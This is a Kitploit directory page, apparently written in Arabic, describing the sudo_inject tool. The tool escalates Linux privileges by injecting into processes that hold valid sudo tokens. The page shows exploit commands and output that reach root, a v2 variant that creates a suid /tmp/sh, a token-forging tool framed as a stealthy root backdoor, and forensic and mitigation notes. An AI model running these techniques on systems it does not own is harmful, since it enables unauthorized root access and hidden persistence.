Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
sudo_inject — [لينكس] تقنيتان لتصعيد الامتيازات تستغلان رمز sudo | Kitploit
أدوات/GitHubGitHub/nongiach/sudo_inject
تصعيد الامتيازاتالاستغلالما بعد الاستغلالالتحاليل الرقمية الجنائيةCTFالتعلم والتعليمالفريق الأحمر
GitHubnongiach/sudo_inject

sudo_inject

[لينكس] تقنيتان لتصعيد الامتيازات تستغلان رمز sudo

عرض المستودع
730113منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

[Linux] تصعيد الامتيازات عن طريق حقن عملية تمتلك رموز sudo

حقن عملية تملك رمز sudo صالحًا وتفعيل رمز sudo الخاص بنا

مقدمة

لاحظنا جميعًا أن sudo أحيانًا لا يطلب منا كلمة المرور لأنه يتذكرنا. كيف يتذكرنا وكيف يتحقق من هويتنا؟ هل يمكننا تزوير هويتنا ونصبح root؟ على حد علمي، هذا البحث غير موثّق بعد، لكن أخبرني إذا كان كذلك. في الواقع، ينشئ sudo ملفًا لكل مستخدم لينكس في /var/run/sudo/ts/[username]. تحتوي هذه الملفات على عمليات المصادقة الناجحة والفاشلة معًا، ثم يستخدم sudo هذه الملفات لتذكّر جميع العمليات الموثّقة. -- @chaignc

يوفّر لك هذا المستودع:

  • طريقة للحصول على صلاحيات root عبر استغلال رموز sudo (لا تفرح كثيرًا، هناك متطلبات).
  • أداة لتزوير رموز sudo لعملية معينة (write_sudo_token في ./extra_tools/).
  • أداة لتحليل رموز sudo لأغراض التحليل الجنائي (read_sudo_token_forensic و read_sudo_token في ./extra_tools).
  • تقنية لتحويل أي كتابة عشوائية بصلاحيات root إلى تنفيذ كود root مستقر.
  • دليل لصنع استغلال لا يتطلب ptrace أو أن تكون العملية المستهدفة حية.

كيفية استغلال نظام ضعيف

ملاحظة: اقرأ المتطلبات!!

root@kitploit:~
$ sudo whatever
[sudo] password for user:    # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)

المتطلبات

  • تفعيل ptrace بالكامل (/proc/sys/kernel/yama/ptrace_scope == 0).
  • يجب أن يكون لدى المستخدم الحالي عملية حية تمتلك رمز sudo صالحًا بنفس uid.
root@kitploit:~
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.

تحذير

  • لأغراض تعليمية فقط، لا تستخدمه على نظام لا تملكه.
  • لم يتم اختباره جيدًا، فلا تعتبره مستقرًا.

ماذا يحدث خلف الكواليس؟

يقوم exploit.sh بحقن جميع عمليات الصدفة (shell) المملوكة للمستخدم الحالي ويستخدم رمز sudo الخاص بها للتحقق من رمز sudo الخاص بنا. إنه بالكاد 3 أسطر من أوامر الصدفة، ألقِ نظرة.

حالة الاستخدام

هذا بعيد كل البعد عن تصعيد امتيازات عام دون متطلبات، لكنه يعمل. على سبيل المثال، إذا كان لديك RCE ولا تملك كلمة مرور المستخدم ولكن الضحية يستخدم sudo، فيمكنك بسهولة الحصول على صلاحيات root بسرقة رمزه.

كيفية المحاكاة في المختبر؟

root@kitploit:~
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot

شغّل محطتين:

  • واحدة لكتابة sudo وإدخال كلمة المرور الصحيحة (مثال: sudo ls).
  • وأخرى لبدء الاستغلال كما هو موصوف أعلاه.

المزيد من التفاصيل

exploit v2 ينشئ suid sh في /tmp/sh

لأولئك الذين لم يحالفهم الحظ مع exploit v1، جرّب v2

root@kitploit:~
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 -> 
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)

التحليل الجنائي، DFIR؟

الطباعة ستتحسن، لكن كل محاولة sudo لعملية ما لها إدخال واحد في /var/run/sudo/ts/[username]. أيضًا، تُخزَّن هذه الملفات في tmpfs (الذاكرة العشوائية)، ويمكن للمرء كتابة إضافة لـ volatility لتحليل هذه المعلومات لجمع محاولات sudo.

root@kitploit:~
./read_sudo_token_forensic  < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000

كتابة عشوائية للوصول إلى root

إذا كان لديك كتابة عشوائية، يمكنك إنشاء رمز sudo لعمليةك الحالية للحصول على تنفيذ كود بصلاحيات root. اطلع على './write_sudo_token $$ > /var/run/sudo/ts/[username]' في extra_tools.

تذاكر sudo الفضية

إنها طريقة جيدة جدًا لإنشاء باب خلفي سري بصلاحيات root على الخوادم التي نادرًا ما تُعاد تشغيلها. لم تكتمل بعد، لكن اطلع على './write_sudo_token $$' في ./extra_tools

لماذا؟

كنت أبحث عن طريقة لسرقة رمز sudo الخاص بعملية ميتة، لكن يبدو أن ذلك غير ممكن لأنها مرتبطة بـ ((وقت بدء العملية و معرّف جلسة العملية) أو (وقت بدء tty و معرّف جلسة tty)). يمكن انتحال معرّف الجلسة (pid العملية) لكن وقت بدء العملية ليس قابلًا للتزوير.

كيف يمكن المعالجة؟

  • حدّث إصدار sudo الخاص بك
  • قلّل صلاحيات ptrace، مثال عدّل /etc/sysctl.conf بإضافة
root@kitploit:~
kernel.yama.ptrace_scope = 1

نطاق yama ptrace

روابط

تحليل /proc/[pid]/stat

بنية رمز sudo

حقن كود بين العمليات في لينكس دون ptrace

نقل عملية إلى محطة طرفية أخرى

https://www.linusakesson.net/programming/tty/


بواسطة @chaignc #HexpressoTeam.

تنزيل الأداة